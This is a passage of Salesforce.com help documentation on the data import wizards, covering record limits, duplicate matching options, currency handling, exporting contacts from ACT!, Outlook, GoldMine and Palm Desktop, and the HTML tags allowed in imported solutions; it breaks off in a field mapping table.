Person account import not available in: Personal, Contact Manager, Group, and Professional Editions

You can import data from ACT!, Outlook, and any program that can save data in the CSV (comma-separated values) format,
such as Excel or GoldMine.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

The following table summarizes the kinds of records that can be imported.

Which records can be imported?


Type of record Import record limit Users with access Overview topic
Business accounts and contacts 500 at a time All users What Is Imported for
owned by you Business Accounts and
Contacts?
Business accounts and contacts 50,000 at a time Administrators; What Is Imported for
owned by different users Business Accounts and
Users with the “Modify All
Contacts?
Data” permission

Person accounts owned by you 50,000 at a time All users What Is Imported for Person
Accounts?
Person accounts owned by 50,000 at a time Administrators; What Is Imported for Person
different users Accounts?
Users with the “Import Person
Accounts” permission

Leads 50,000 at a time Administrators; What is Imported for Leads?


Users with the “Modify All
Data” permission

Campaign members 50,000 for importing leads as Administrators; What is Imported for
new campaign members and Campaign Members?
Marketing users (or users with
updating the status of existing
the “Import Leads” permission
campaign members.
and the “Edit” permission on

288
Data Management Importing Overview

Which records can be imported?


Type of record Import record limit Users with access Overview topic
campaigns) can import new
leads as campaign members.
Users also need the “Read”
permission on contacts to use
the campaign update wizard
to make existing leads and
contacts campaign members.

Custom objects 50,000 at a time Administrators; What Is Imported for Custom


Objects?
Users with the “Modify All
Data” permission

Solutions 50,000 at a time Administrators; What Is Imported for


Solutions?
Users with the “Import
Solutions” permission

These records cannot be imported via the import wizards.


Assets
Cases
Campaigns
Contracts
Documents
Opportunities
Products

For information on field accessibility and how different field type values are imported, see Notes on Importing Data on page
296.

Process for Importing Records


To import records into Salesforce.com, follow the steps in these topics:
1. Creating Export Files for Import Wizards
2. Preparing Your Data for Import
3. Accessing the Import Wizards

289
Data Management Importing Overview

Note: In addition to the record limits on each import, your import is also subject to the overall storage limits for your
organization. See Monitoring Resources on page 253 for storage limits.
Although they are custom objects, relationship group members cannot be imported. For more information on the
behaviors of relationship group members, see Relationship Group Considerations on page 1847.

See Also:
Importing Multiple Currencies
Undoing an Import
Importing Campaign Members
Importing Articles
FAQ: Importing
Tip sheet: Importing Your Data
Administrator tip sheet: Importing Your Organization's Data

What Is Imported for Business Accounts and Contacts?

Available in: All Editions


Organization import not available in: Personal Edition

The import wizards for contacts and business accounts allow you to match records in a variety of ways in order to prevent
duplicates. Contacts can be matched by Salesforce.com ID, name, or email. Business accounts can be matched by Salesforce.com
ID or by name and site. Matching by Salesforce.com ID is inclusive of both contacts and business accounts; if you match one
by Salesforce.com ID, the other will also be matched by Salesforce.com ID.

Matching by Name and Site


If you choose to match contacts by name and business accounts by name and site (which are the recommended options), the
import wizards automatically create a business account for each unique business account name and site in the import file. They
also create a separate contact for each contact name listed in the file. The contacts are then associated with the appropriate
business accounts.
If the business account or contact already exists in the system, and you have read/write access to the record, the wizards add
your import data to the existing data in Salesforce.com. In addition, if a business account or contact name in your import file
is similar to an existing business account or contact name, the import data is added to the existing data in Salesforce.com (see
Can the contact and business account import wizards recognize similar names? on page 2330).

Matching by Salesforce.com ID
You can also choose to match contacts and business accounts by Salesforce.com ID. With this selected, the Salesforce.com
ID will be the criteria for de-duplication. That is, if you are matching by ID and a record in your source file has the same ID
as a record in Salesforce.com, then that record will be updated in Salesforce.com. Note that record IDs are case-sensitive and
must match exactly.

290
Data Management Importing Overview

Overwriting Existing Account Values


The wizards never overwrite your existing business account fields unless you check the Overwrite existing account
values checkbox in the wizard. With this box checked, you can insert or update existing business account fields with new
data. However, you cannot use this checkbox to update existing field data with blank values. With this box unchecked, the
wizard updates any empty business account fields, but does not touch any fields with existing data.
If you do not have read/write access to an existing business account or contact, the wizards create a new business account or
contact owned by you. In addition, the wizards create new business accounts and contacts based on specific fields in your
import file. See When do the import wizards create new contacts and business accounts? on page 2328.
In Professional, Enterprise, Unlimited, and Developer Edition organizations, the import wizards can also import new business
account and contact notes. The wizards do not import notes that are exact duplicates of existing contact or business account
notes.

See Also:
Accounts Overview
Import My Organization’s Accounts and Contacts
FAQ: Importing

What Is Imported for Person Accounts?


Person account import available in: Enterprise, Unlimited, and Developer Editions

The import wizards for person accounts allow you to prevent the creation of duplicate records by matching records according
to one of the following fields: Account Name, Salesforce.com ID, or Email. In your import file, include a column for
the field that you are using for record matching.
Note: Your administrator may have renamed “person account” to another term. If so, the import wizard will refer to
the new name.

Matching by Name
When you select this option, the import wizard will detect existing records in Salesforce.com that have the same name. Note
that this type of matching is not case-sensitive - for example, names that begin with a capital letter will be matched with the
same name that begins with a lowercase letter. If necessary, scan and standardize your custom object names before performing
the import to prevent unintended matches.

Matching by Salesforce.com ID
A Salesforce.com ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each
Salesforce.com record. When you select this option, the import wizard will detect existing records in Salesforce.com that have
the same Salesforce.com ID. Note that Salesforce.com IDs are case-sensitive and must match exactly. Salesforce.com IDs can
be obtained by running reports that include the ID field of the record.

Matching by Email
With this option, person accounts in your import file will be matched with existing person accounts in Salesforce.com according
to the exact value in the Email field.

291
Data Management Importing Overview

Matching by External ID
An external ID is a custom field that has the “External ID” attribute, meaning that it contains unique record identifiers from
a system outside of Salesforce.com. When you select this option, the import wizard will detect existing records in Salesforce.com
that have the same external ID. Note that this operation is not case-sensitive - for example, “ABC” will be matched with “abc”.
However, there is an exception: if the custom field has the separate “Unique” attribute and the case-sensitive option for that
attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field
Attributes on page 445.
If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches.
When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported
to you in the confirmation email.
Note: Only account custom fields with the “External ID” attribute are available for this step. While all custom contact
fields are available on person account page layouts, custom contact fields with the “External ID” attribute are not
available as matching fields during person account import.

Ignoring or Updating Matching Records


When the import wizard detects existing records in Salesforce.com that match according to the field you have chosen, you
can choose one of the following actions:
• Do not update existing records and only insert new records - If there are records in your file that are new and do not
match any existing records, then insert them into Salesforce.com. Also, ignore any records in your file that match an existing
record, and do nothing to the existing record.
• Update existing records and do not insert any new records - If there are records in your file that match an existing record,
then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert
them as new records.
• Update existing records and insert new records - If there are records in your file that are new and do not match any
existing records, then insert them into Salesforce.com. Also, if there are records in your file that match an existing record,
then update the existing record.

See Also:
Import My Person Accounts
Import My Organization's Person Accounts
FAQ: Importing

What is Imported for Leads?


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

You can import data into the standard lead fields and into any custom lead fields you may have, even if a particular field is
hidden or read only in your page layout or field-level security settings for leads. (Field-level security is available in Enterprise,
Unlimited, and Developer Editions only.)

292
Data Management Importing Overview

Importing Leads With Matching Types


You can choose whether to match leads in your import file with existing leads in Salesforce.com. Leads can be matched
according to the following types: Salesforce.com ID, name, or email. Choosing a matching type sets the criteria for avoiding
duplicate leads. For example, if you are matching by email and a lead in your source file has the same email as a lead in
Salesforce.com, then that lead will be updated in Salesforce.com. If you are not matching by email and a lead in your source
file has the same email as a lead in Salesforce.com, then a new lead will be created.
The wizards never overwrite your existing lead fields unless you check the Overwrite existing lead values checkbox
in the wizard. With this box checked, you can insert or update existing lead fields with new data. However, you cannot use
this checkbox to update existing field data with blank values. With this box unchecked, the wizard updates any empty lead
fields, but does not touch any fields with existing data.

Importing Leads Without Matching Types


If you choose a matching type of “None” in the lead import wizard, for each lead in your import file, the Import My
Organization’s Leads wizard creates a new lead in Salesforce.com. You can merge leads after they are imported; see Merging
Duplicate Leads on page 1688.

See Also:
Import My Organization’s Leads
FAQ: Importing

What is Imported for Campaign Members?


Available in: Professional, Enterprise, Unlimited, and Developer Editions

• Import Leads Wizard - For each lead in your import file, this wizard imports the lead, associates the lead with a campaign,
and inserts a Member Status value for the lead in that campaign. You can import data into the standard lead fields and
into any custom lead fields, even if a particular field is hidden or read only in your page layout or field-level security settings.
(Field-level security is available in Enterprise, Unlimited, and Developer Editions only.) If you have duplicate leads in your
import file, the wizard does not merge them. In addition, if any of the imported leads match an existing lead, the wizard
does not merge the duplicate data into one lead.
• Campaign Update Wizard - For each contact or lead in your import file, this wizard updates only the Member Status
value of the matching contact or lead in Salesforce.com. You cannot add new leads or contacts, nor can you update any
other fields in the existing lead or contact records.

See Also:
Lead Import Wizard
Campaign Update Wizard
FAQ: Importing

293
Data Management Importing Overview

What Is Imported for Custom Objects?


Custom object import available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import custom objects: “Modify All Data”

The import wizard for custom objects allows you to prevent the creation of duplicate records by matching records according
to one of the following fields: custom object name, Salesforce.com ID, or external ID. In your import file, include a column
for the field that you are using for record matching.

Matching by Name
When you select this option, the import wizard will detect existing records in Salesforce.com that have the same name. Note
that this type of matching is not case-sensitive - for example, names that begin with a capital letter will be matched with the
same name that begins with a lowercase letter. If necessary, scan and standardize your custom object names before performing
the import to prevent unintended matches.

Matching by Salesforce.com ID
A Salesforce.com ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each
Salesforce.com record. When you select this option, the import wizard will detect existing records in Salesforce.com that have
the same Salesforce.com ID. Note that Salesforce.com IDs are case-sensitive and must match exactly. Salesforce.com IDs can
be obtained by running reports that include the ID field of the record.

Matching by External ID
An external ID is a custom field that has the “External ID” attribute, meaning that it contains unique record identifiers from
a system outside of Salesforce.com. When you select this option, the import wizard will detect existing records in Salesforce.com
that have the same external ID. Note that this operation is not case-sensitive - for example, “ABC” will be matched with “abc”.
However, there is an exception: if the custom field has the separate “Unique” attribute and the case-sensitive option for that
attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field
Attributes on page 445.
If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches.
When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported
to you in the confirmation email.

Ignoring or Updating Matching Records


When the import wizard detects existing records in Salesforce.com that match according to the field you have chosen, you
can choose one of the following actions:
• Do not update existing records and only insert new records - If there are records in your file that are new and do not
match any existing records, then insert them into Salesforce.com. Also, ignore any records in your file that match an existing
record, and do nothing to the existing record.
• Update existing records and do not insert any new records - If there are records in your file that match an existing record,
then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert
them as new records.

294
Data Management Importing Overview

• Update existing records and insert new records - If there are records in your file that are new and do not match any
existing records, then insert them into Salesforce.com. Also, if there are records in your file that match an existing record,
then update the existing record.
Note: Custom objects with two master-detail relationships cannot be imported using the import wizard.

See Also:
Import My Organization's Custom Objects
FAQ: Importing

What Is Imported for Solutions?


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To import solutions: “Import Solutions”

The import wizard for solutions allows you to prevent the creation of duplicate records by matching records according to one
of the following fields: solution title, Salesforce.com ID, or external ID. In your import file, include a column for the field
that you are using for record matching.

Matching by Solution Title


When you select this option, the import wizard will detect existing solutions in Salesforce.com that have the same title. Note
that this type of matching is not case-sensitive - for example, titles that begin with a capital letter will be matched with the
same title that begins with a lowercase letter. If necessary, scan and standardize your solution titles before performing the
import to prevent unintended matches.

Matching by Salesforce.com ID
A Salesforce.com ID is a system-generated, case-sensitive string of 15 or 18 letters and numbers that uniquely identifies each
Salesforce.com record. When you select this option, the import wizard will detect existing records in Salesforce.com that have
the same Salesforce.com ID. Note that Salesforce.com IDs are case-sensitive and must match exactly. Salesforce.com IDs can
be obtained by running reports that include the ID field of the record.

Matching by External ID
An external ID is a custom field that has the “External ID” attribute, meaning that it contains unique record identifiers from
a system outside of Salesforce.com. When you select this option, the import wizard will detect existing records in Salesforce.com
that have the same external ID. Note that this operation is not case-sensitive - for example, “ABC” will be matched with “abc”.
However, there is an exception: if the custom field has the separate “Unique” attribute and the case-sensitive option for that
attribute is selected, uppercase and lowercase letters will not be considered identical. For more information, see Custom Field
Attributes on page 445.
If necessary, scan and standardize your external ID values before performing the import to prevent unintended matches.

295
Data Management Importing Overview

When matching by external ID, if the import wizard finds duplicate records, only the first three duplicate records are reported
to you in the confirmation email.

Ignoring or Updating Matching Records


When the import wizard detects existing records in Salesforce.com that match according to the field you have chosen, you
can choose one of the following actions:
• Do not update existing records and only insert new records - If there are records in your file that are new and do not
match any existing records, then insert them into Salesforce.com. Also, ignore any records in your file that match an existing
record, and do nothing to the existing record.
• Update existing records and do not insert any new records - If there are records in your file that match an existing record,
then update the existing record. Also, ignore any records in your file that do not match an existing record, and do not insert
them as new records.
• Update existing records and insert new records - If there are records in your file that are new and do not match any
existing records, then insert them into Salesforce.com. Also, if there are records in your file that match an existing record,
then update the existing record.

See Also:
What are Multilingual Solutions?
Import My Organization's Solutions
FAQ: Importing

Notes on Importing Data


Available in: All Editions
Organization import not available in: Personal Edition
Lead import not available in: Personal and Contact Manager Editions
Custom object import not available in: Personal Edition
Solution import not available in: Personal, Contact Manager, and Group Editions

• Field Accessibility—In the organization-wide import wizards for accounts and leads, you can import data into any standard
or custom field even if it is hidden or read only in your page layout or field-level security settings.
For the Import My Contacts wizard, you can import data only into the fields that are editable for you in your page layout
or field-level security settings.
See Managing Page Layouts on page 618 and Setting Field-Level Security on page 217. Field-level security is available in
Enterprise, Unlimited, and Developer Editions only.
• New Values for Picklists and Multi-Select Picklists—If your import file contains data to be displayed in picklists or
multi-select picklists, the wizards warn you when you attempt to import a new picklist value that does not match any valid
picklist values. If you ignore the warning, the new value is automatically added to the imported record. Your administrator
can later edit the field to add the necessary values. Note that the import wizards do not allow you to import more than 100
new picklist or multi-select picklist values for any field during a single import.

296
Data Management Importing Multiple Currencies

If your organization uses the translation workbench, the import wizards look for matching translated values before creating
new inactive picklist values. See Setting Up Translation Workbench on page 121 for more information.
• Multi-Select Picklists—To import multiple values into a multi-select picklist, separate the values by a semicolon in your
import file.
You can import up to 100 values at a time in a multi-select picklist field. If you have more than 100 values in your import
file for any one record, the import wizard leaves the field blank in that record.
• Checkboxes—To import data into a checkbox field, use 1 for checked values and 0 for unchecked values.
• Default Values—For picklist, multi-select picklist, and checkbox fields, if you do not map the field in the import wizard,
the default value for the field, if any, is automatically inserted into the new or updated record.
• Date/Time Fields—Ensure that the format of any date/time fields you are importing matches how they display in
Salesforce.com per your locale setting. For information on setting your locale, see Editing Your Personal Information on
page 50.
• Formula Fields—Formula fields cannot accept imported data because they are read only.
• Field Validation Rules—Salesforce.com runs validation rules on records before they are imported. Records that fail
validation are not imported. Consider deactivating the appropriate validation rules before running an import if they affect
the records you are importing.
• Universally Required Fields—You must include universally required fields in your import files or the import will fail. For
more information, see About Universally Required Fields on page 542.

Importing Multiple Currencies


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

If your organization has set up the ability to use multiple currencies, you can import amounts in different currencies.

Import My Accounts and Contacts


For personal imports, all amounts in new accounts and contacts are imported in your personal currency. When import updates
amounts in existing records, the amounts in your file are converted from your personal currency to the currency of the account
or contact.
For example, if your personal currency is U.S. dollars, and your import file has 100 as the annual revenue of an existing account
with Account Currency of euros, then the new Annual Revenue value of the account will be EUR 92, assuming a
conversion rate of 0.92 and “EUR” as the currency code for euros.

Organization Import
When importing accounts, contacts, custom objects, leads, or solutions for your organization, you can specify the currency
type for amount fields using the Currency ISO Code column in your import file. The following rules apply:
• Entering currency codes - Enter a currency code in the Currency ISO Code column in your import file. Currency
codes are three letter codes that follow an international standard. For example, USD is the currency code for U.S. dollars.
Click Setup ➤ Company Profile ➤ Manage Currencies to see a list of valid codes for your organization.
• Using one currency for accounts and contacts - If you are importing accounts and contacts, the Currency ISO Code
column applies to both an account and its associated contact. You cannot specify different currencies for associated accounts
and contacts.

297
Data Management Creating Export Files for Import Wizards

• Updating the currency code - When updating the currency code but not the currency amount for existing accounts and
contacts, the existing amount is not converted to the corresponding number in the new currency.
• Entering inactive currencies - If your enter an inactive currency in your import file, your personal currency will be used
instead. However, amounts will not be modified. For example, if your file has AUD 100 for 100 Australian dollars but
AUD is an inactive currency for your organization, then it is imported as USD 100, assuming your personal currency is
U.S. dollars.
• Omitting the Currency ISO Code column - When creating new records via importing, if you do not use the Currency
ISO Code column or fail to map it, your personal currency is used. For example, if your file has 100 and your personal
currency is U.S. dollars (currency code = USD), this is imported as USD 100.
When updating existing records via importing, if you do not use the Currency ISO Code column or fail to map it, any
amounts are interpreted as having the existing currency of the record. For example, if your file has 100 for a record that
has a currency of EUR (the currency code for euros), this amount is interpreted as EUR 100.

See Also:
Managing Multiple Currencies

Creating Export Files for Import Wizards


Available in: All Editions

To import data into Salesforce.com, you first need to export the data from your existing application. This creates an export
file of the information you want to import.

• Exporting from ACT!


• Exporting from Outlook
• Exporting from GoldMine 4.0
• Exporting from GoldMine 5.0
• Exporting from Palm Desktop
• Exporting from Other Data Sources
• Exporting from Salesforce.com

After creating the export file, compare your data with the Salesforce.com fields available for import, and verify that your data
will be mapped into the appropriate Salesforce.com fields. See Preparing Your Data for Import on page 304.
Your file can contain a mixture of some new records as well as updates for existing records. The option selected in the Matching
Type field determines whether it is a new or existing record. When importing leads, you can choose whether to match leads
in your import file with existing leads in Salesforce.com. Leads can be matched according to the following types: Salesforce.com
ID, name, or email. Choosing a matching type sets the criteria for avoiding duplicate leads. For example, if you are matching
by email and a lead in your source file has the same email as a lead in Salesforce.com, then that lead will be updated in
Salesforce.com. If you are not matching by email and a lead in your source file has the same email as a lead in Salesforce.com,
then a new lead will be created.
Note:
If you are the administrator and are importing for multiple users, you must combine your export data into a single
CSV file using Excel.

298
Data Management Creating Export Files for Import Wizards

When importing new records, add or modify a Record Owner field in your file such that the field contains the names
of existing, active users. Enter the users’ full usernames (for example, “jsmith@acme.com”) or first and last names (for
example, “Joe Smith”, or “Smith Joe” for Asian locales). This will specify the owner of the imported data for an
organization import. For lead imports, you can also specify the name of a lead queue. Record owner fields do not get
updated when records are updated via import. All records retain their existing owners; and the Record Owner field
in your import file is ignored for these records.
When importing leads, you can alternatively use a lead assignment rule to specify the owners of the imported data,
instead of using a Record Owner field.

See Also:
Preparing Your Data for Import

Exporting from ACT!


ACT! allows you to export contact data in a text-delimited format which can then be imported. Using a third-party tool, you
can also export notes from ACT! and then import them into accounts and contacts in Professional, Enterprise, Unlimited,
and Developer Edition organizations.

• Exporting Contacts from ACT!


• Exporting Notes from ACT!

Exporting Contacts from ACT!


To export contact data from ACT! (versions 4.0 or 2000), follow these steps:
1. Launch ACT! and open your database.
2. Select File ➤ Data Exchange ➤ Export....
3. Select the file type Text-Delimited.
4. Choose a file name and location for the exported data and click Next.
5. Select Contact records only.
6. Click the Options... button.
7. Select Comma for the field separator character.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

8. Check the Yes, export field names checkbox and click OK.
9. Click Next.
10. Select All Records and then click Next.
11. Leave the export field order list alone, and click Finish.

Exporting Notes from ACT!


Before importing your ACT! notes, you must import your ACT! contacts. Using ACT!PAK!, you can export your ACT!
notes into a file for import. You can download ACT!PAK! from www.oakpro.com/prod01_ACTPAK.htm; the software costs
about $99. Importing notes from ACT! is available in Professional, Enterprise, Unlimited, and Developer Editions only.
To export notes from ACT! (versions 4.0 or 2000), follow these steps:

299
Data Management Creating Export Files for Import Wizards

1. Install and launch ACT!PAK!.


2. Open the ACT! database, and set it up to export to Microsoft® Excel.
3. In ACT!PAK!, choose Transfer from the Excel menu.
4. In the “Transfer” dialog:
a. Choose Contact under Select Record Type.
b. Choose Lookup under ACT! Contacts.
c. Under Select Fields, make sure Contact Fields is selected in the drop-down list.
d. Add the following fields from the field list on the left to the list on the right: Company, Last Name, First Name.
e. Change the Select Record Type selection to Notes/History.
f. Under Select Fields, make sure NoteHistory Fields is selected in the drop-down list.
g. Under Select Fields, add the Regarding field to the list of fields in the box on the right. Add any other note field
data you want to export, for example, Date.
h. Under Hold File, select a location for your export file, and click Transfer.

5. When the transfer finishes, locate your exported file and change its file extension from .txt to .csv.
6. Open the file in Excel.
7. If necessary, clean up the file prior to importing it. Common problems include notes that have been broken between
columns (this occurs when notes contain quotation marks).
When importing your data, do not map the note fields until the final step when you are prompted to map extra fields. Choose
“Include in Contact Note” to import your ACT! notes into Salesforce.com contact notes.
Note: If you work with ACT! version 7 or later, you can also export from ACT! in preparation for using the Exporter
for ACT!.

See Also:
Default Field Mapping for ACT!

Exporting from Outlook


Microsoft® Outlook® allows you to export data in a CSV (comma-separated values) format which can then be imported.

1. Launch Outlook.
2. Select File ➤ Import and Export....
3. Choose Export to a file and click Next.
4. Choose Comma Separated Values (Windows) and click Next.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

5. Select the Contacts folder and click Next. You can select a different contacts folder if you have contacts stored in multiple
folders.
6. Choose a file name for the exported data and click Next.

300
Data Management Creating Export Files for Import Wizards

7. Click Finish.

See Also:
Default Field Mapping for Outlook

Exporting from GoldMine 4.0


GoldMine 4.0 allows you to export contact data in a text format that can be imported. Additionally, you can export GoldMine
4.0 notes for import into Professional, Enterprise, Unlimited, and Developer Edition organizations.

• Exporting Contacts from GoldMine 4.0


• Exporting Notes from GoldMine 4.0

Exporting Contacts from GoldMine 4.0


To export contact data from GoldMine 4.0, follow these steps:
1. Launch GoldMine 4.0.
2. Choose Export Records from the Tools menu.
3. Select Export to a new file and DBF file, and click Next.
4. In the list of GoldMine Fields on the left side of the dialog, select all of the fields, and click Add Field. Then click Next.
5. Choose the location for the export file, and click Next.
6. Select No when asked if you want to save these settings, and click Next.
7. Click Finish.
8. After the export finishes, locate the exported file and change its file extension from .dbf to .csv. The file is now ready for
import into Salesforce.com.

Exporting Notes from GoldMine 4.0


Before importing your GoldMine 4.0 notes into Salesforce.com, you must import your GoldMine 4.0 contacts.
To export notes from GoldMine 4.0, follow these steps:
1. Launch GoldMine 4.0.
2. Choose Export Records from the Tools menu.
3. Select Export to a new file and ASCII file, and click Next.
4. In the list of GoldMine Fields on the left side of the dialog, select the company, lastname, and notes fields, and click
Add Field. Then click Next.
5. Choose the location for the export file, and click Next.
6. Select No when asked if you want to save these settings, and click Next.
7. Click Finish.
8. After the export finishes, locate the exported file and change its file extension to .csv.
9. Open the file.
10. Add a header column by right-clicking on the first row and choosing Insert.
11. In column A, enter Company.
12. In column B, enter Last Name.
13. In column C, enter Note.

301
Data Management Creating Export Files for Import Wizards

14. If necessary, clean up the file prior to importing it. Common problems include notes that have been broken between
columns (this occurs when notes contain quotation marks).

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from GoldMine 5.0


GoldMine 5.0 allows you to export contact data in a text format that can be imported. Additionally, you can export GoldMine
5.0 notes for import into Professional, Enterprise, Unlimited, and Developer Edition organizations.

• Exporting Contacts from GoldMine 5.0


• Exporting Notes from GoldMine 5.0

Exporting Contacts from GoldMine 5.0


To export contact data from GoldMine 5.0, follow these steps:
1. Launch GoldMine 5.0.
2. Choose Tools ➤ Import/Export Wizard ➤ Export Contact Records.
3. Select Export to a new file and ASCII file, and click Next.
4. Select ALL Contact Records! in the drop-down list, and click Next.
5. In the list of GoldMine Fields on the left side of the dialog, select the fields you want to export, and click Add Field. We
recommend you select all fields, except the notes field. See Exporting Notes from GoldMine 5.0 on page 302 for information
on how to export notes.
6. Click Next.
7. Choose the location for the export file, select the Export GoldMine field names... checkbox, and then click Next.
8. Select No when asked if you want to save these settings, and click Next.
9. Click Finish.
10. After the export finishes, locate the exported file and change its file extension from .txt to .csv. The file is now ready for
import into Salesforce.com.

Exporting Notes from GoldMine 5.0


Before importing your GoldMine 5.0 notes into Salesforce.com, you must import your GoldMine 5.0 contacts.
To export notes from GoldMine 5.0, follow these steps:
1. Launch GoldMine 5.0.
2. Choose Tools ➤ Import/Export Wizard ➤ Export Contact Records.
3. Select Export to a new file and ASCII file, and click Next.
4. Select ALL Contact Records! in the drop-down list, and click Next.
5. In the list of GoldMine Fields on the left side of the dialog, select the company, lastname, and notes fields, and click
Add Field. Then click Next.
6. Choose the location for the export file, select the Export GoldMine field names... checkbox, and then click Next.
7. Select No when asked if you want to save these settings, and click Next.
8. Click Finish.
9. After the export finishes, locate the exported file and change its file extension from .txt to .csv.
10. Open the file.

302
Data Management Creating Export Files for Import Wizards

11. If necessary, clean up the file prior to importing it. Common problems include notes that have been broken between
columns (this occurs when notes contain quotation marks).

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from Palm Desktop


The Palm Desktop allows you to export your Address Book contacts in a CSV (comma-separated values) format which can
then be imported.

1. Open the Address Book in the Palm Desktop. If you only want to export specific contacts, select those records.
2. Choose Export from the File menu.
3. In the “Export To File” dialog, enter a name for the file and choose a folder for it. In the Export as drop-down list, choose
“Comma Separated (*.csv;*.txt)”. Select the range of records to export - either All or Currently selected records.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

4. Click Export.
5. In the “Specify Export Fields” dialog box, select the Address Book fields you want to export, and click OK.

See Also:
Field Mapping for Other Data Sources and Organization Import

Exporting from Other Data Sources


You can import data into the system from any other application that can create a CSV (comma-separated values) file.

1. Save your data source as a CSV file.


Note: If commas are not appropriate for your locale, use a tab or other delimiter.

2. Ensure your file includes only one name per field. The system cannot accept more than one name per field.
3. Ensure your file separates names and titles into two fields. The system cannot accept fields containing both names and
titles.
4. Ensure your file includes only one phone number per field.

See Also:
Field Mapping for Other Data Sources and Organization Import

303
Data Management Preparing Your Data for Import

Exporting from Salesforce.com


Available in: Professional, Enterprise, Unlimited, and Developer Editions

You can export account, contact, custom object, lead, or solution reports from Salesforce.com to create an import file for the
import wizards. You must include the Account ID, Contact ID, Custom Object ID, Lead ID, or Solution ID value
for each respective record in your report. These ID fields are unique Salesforce.com identifiers and are used to accurately match
your data with existing Salesforce.com records.
To create an import file with these ID fields, you first need to export the data from Salesforce.com.

1. Run an account, contact, custom object, lead, or solution report in Salesforce.com, include the respective ID field, and
export it to Excel.
2. If you are exporting both leads and contacts to be targeted in a campaign:
a. In Excel, combine the exported reports into one CSV (comma-separated values) file. Make sure all of the ID field
values are in the same column.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

b. Rename the Lead ID/Contact ID column to Record Id.


c. Add a column entitled Status, and enter the campaign member status for each contact or lead.

Note: Remember that Salesforce.com record IDs are case-sensitive and should never be changed manually in your
import file.

See Also:
Importing Campaign Members
Managing Campaigns

Preparing Your Data for Import


Available in: All Editions

After exporting your data from Salesforce.com or your existing application (see Creating Export Files for Import Wizards on
page 298), prepare your data before importing it.
Preparing Contacts
When importing from ACT! or Outlook, the Import My Contacts wizard automatically maps fields from ACT! and
Outlook to Salesforce.com. See Default Field Mapping for ACT! on page 307 and Default Field Mapping for Outlook
on page 309.

304
Data Management Preparing Your Data for Import

When importing from other data sources, you must use Excel® to label the columns in your import file as specified in
Field Mapping for Other Data Sources and Organization Import on page 311.

Preparing Person Accounts


When importing person accounts, use the field labels in Salesforce.com as the column labels in your import file. See
Person Account Fields on page 1141.

Preparing Organization's Business Accounts and Contacts


When importing business accounts and contacts for your organization, you must use Excel® to label the columns in your
import file as specified in Field Mapping for Other Data Sources and Organization Import on page 311.

Preparing Organization's Leads


When importing general leads or leads for campaigns, use the import file labels specified in Field Mapping for Importing
Leads on page 316.

Preparing Custom Objects


When importing a custom object, use the field labels shown on the custom object detail page in Salesforce.com as the
column labels in your import file.

Preparing Solutions
When importing solutions, use the field labels in Salesforce.com as the column labels in your import file. For information
on field labels, see Solution Fields on page 2119.
You can enter HTML into the solutions you plan to import into Salesforce.com.However, unless your organization has
enabled HTML solutions, HTML tags will display in the solutions after they are imported. For more information, see
What are HTML Solutions? on page 2102.
For security purposes, Salesforce.com automatically filters all HTML solutions for potentially malicious HTML. If
potentially malicious HTML is detected in an HTML solution, then the potentially malicious HTML is either
automatically removed or transformed into text for users who view the HTML solution. Note that users will not be able
to notice when potentially malicious HTML is removed from an HTML solution.
You can import solutions written in HTML format into Salesforce.com. However, for security purposes, only the HTML
tags listed below are allowed. The content of any HTML tags not listed below is automatically removed when saved in
HTML solutions. Furthermore, the content of all <script> and <iframe> tags, as well as all JavaScript, is automatically
removed when saved in HTML solutions. Additionally, Cascading Style Sheets (CSS) are not supported in HTML
solutions.
The following HTML tags are allowed in HTML solutions imported into Salesforce.com:

<a> <dt> <q>

<abbr> <em> <samp>

<acronym> <font> <small>

<address> <h1> <span>

<b> <h2> <strike>

<bdo> <h3> <strong>

<big> <h4> <sub>

305
Data Management Preparing Your Data for Import

<blockquote> <h5> <sup>

<br> <h6> <table>

<caption> <hr> <tbody>

<cite> <i> <td>

<code> <img> <tfoot>

<col> <ins> <th>

<colgroup> <kbd> <thead>

<dd> <li> <tr>

<del> <ol> <tt>

<dfn> <p> <ul>

<div> <pre> <var>

<dl>

Within the above tags, you can include the following attributes:

alt face size

background height src

border href style

colspan rowspan width

The above attributes which can include a URL are limited to URLs that begin with the following:

• http:
• https:
• file:
• ftp:
• mailto:
• / for relative links

306
Data Management Preparing Your Data for Import

Note: If your data has information in fields that do not match any of the standard fields, your administrator can create
custom fields for that data prior to import.
You must include universally required fields in your import files or the import will fail. For more information, see
About Universally Required Fields on page 542.

See Also:
Creating Export Files for Import Wizards
Accessing the Import Wizards

Default Field Mapping for ACT!


Available in: All Editions

This table details how ACT! fields map to Salesforce.com account and contact import fields during an individual data import.
Note: If an ACT! record contains more than one contact for the same company, the import wizard creates multiple
contacts for one account.

ACT! Field Import Field


Address 1 Contact: Mailing Address and
Account: Billing Address

Address 2 Contact: Mailing Address and


Account: Billing Address

Address 3 Contact: Mailing Address and


Account: Billing Address

Alt Phone Contact: Other Phone


Alt Phone Ext. Contact: Other Phone Ext.
Assistant Contact: Assistant's Name
Asst. Phone Contact: Asst. Phone
Asst. Phone Ext. Contact: Asst. Phone Ext.
City Contact: Mailing City and
Account: Billing City

Company Account: Name


Contact Contact: Full Name

307
Data Management Preparing Your Data for Import

ACT! Field Import Field


Country Contact: Mailing Country and
Account: Billing Country

Department Contact: Department


E-mail Login Contact: Email
(The import wizard verifies this is a valid email address in the
